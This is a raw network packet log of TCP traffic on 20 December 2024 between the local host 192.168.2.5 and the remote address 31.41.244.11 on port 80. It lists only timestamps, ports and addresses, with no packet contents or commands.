Dec 20, 2024 13:12:10.940319061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.940447092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.940551043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.948668957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.949085951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.949158907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.957236052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.957295895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.957470894 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.957559109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.965517044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.965610027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.965747118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.965809107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:10.973351955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.974087954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:10.974152088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.017219067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.017590046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.017678022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.086867094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.086911917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.086997032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.089124918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.089186907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.089257002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.089315891 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.093883038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.094115973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.094177008 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.098563910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.098618984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.098680019 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.103235006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.103725910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.103790045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.108000994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.108854055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.108916044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.112890959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.112927914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.112982988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.117316008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.117990017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.118311882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.118364096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.121942043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.122018099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.122101068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.122154951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.127083063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.127753973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.127809048 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.131546974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.132117033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.132177114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.136075020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.136130095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.136224031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.136346102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.140813112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.140866995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.141371965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.141558886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.145435095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.145704031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.145762920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.150087118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.150209904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.150281906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.153979063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.154323101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.154386044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.157826900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.157977104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.158035994 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.161906958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.162079096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.162081003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.162132978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.165668011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.165853977 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.165988922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.166052103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.169573069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.170171022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.170229912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.173527956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.173772097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.173829079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.177392006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.177861929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.177922964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.181257963 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.181428909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.181499958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.185256004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.185966015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.278959036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.279042959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.279179096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.280354977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.280436993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.280827045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.280894995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.280982971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.281039953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.283685923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.284400940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.284466028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.286752939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.286844969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.286885023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.289503098 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.289519072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.289602995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.289602995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.292352915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.292491913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.292702913 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.292748928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.295012951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.295195103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.295275927 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.298032999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.298163891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.298207045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.298238039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.300438881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.300612926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.300723076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.303081989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.303200006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.303338051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.305604935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.305671930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.305741072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.305741072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.308140039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.308206081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.308705091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.308783054 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.310667038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.310834885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.310868025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.310947895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.313141108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.313221931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.313374996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.313436031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.315824986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.315974951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.316024065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.316169024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.318181992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.318263054 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.318350077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.318475008 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.320859909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.321244955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.321382046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.323159933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.323791981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.323889971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.325730085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.325764894 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.325850010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.325850010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.328207016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.328397989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.328651905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.330698967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.330873966 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.330982924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.333129883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.333300114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.333712101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.333797932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.335665941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.336147070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.336277962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.338134050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.338202953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.338239908 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.338321924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.340722084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.340791941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.340909004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.341119051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.343292952 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.343308926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.343369007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.345674038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.345748901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.345752954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.345824003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.348249912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.348608971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.348697901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.350661993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.350805044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.350871086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.353193045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.353279114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.353513002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.353612900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.355623960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.355762959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.355848074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.358120918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.358225107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.358313084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.358366013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.360585928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.360892057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.361004114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.363187075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.363245010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.363349915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.365657091 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.365710020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.365758896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.365758896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.368217945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.368256092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.368330956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.368391991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.471329927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.471383095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.471524000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.472112894 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.472218037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.472328901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.472387075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.474061012 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.474766016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.474836111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.475146055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.475256920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.476747036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.476808071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.476917028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.476969957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.478688955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.478782892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.478910923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.480665922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.480731964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.480835915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.480910063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.482604027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.482705116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.482800007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.484515905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.484692097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.484812021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.484870911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.486272097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.486551046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.486618042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.488056898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.488188982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.488318920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.488390923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.489880085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.489991903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.490053892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.491663933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.491713047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.491731882 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.491765976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.493416071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.493529081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.493566036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.493601084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.495130062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.495270014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.495290041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.495337009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.496944904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.497050047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.497781992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.498245955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.498651981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.498713017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.498939991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.499011040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.500452042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.500627041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.500674963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.500674963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.502170086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.502244949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.502546072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.503993034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.504028082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.504054070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.504112959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.505678892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.505795002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.506303072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.507483959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.507517099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.507549047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.507549047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.507600069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.509212017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.510000944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.510066986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.510958910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.511018038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.511096001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.511154890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.512742996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.512841940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.512891054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.512948990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.514492989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.514678001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.514740944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.516263962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.516329050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.516716957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.516774893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.517947912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.518084049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.518145084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.520195961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.520267010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.520401955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.520467997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.521498919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.521576881 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.522006035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.523236990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.523289919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.525087118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.525120974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.525154114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.525172949 CET	49831	80	192.168.2.5	31.41.244.11
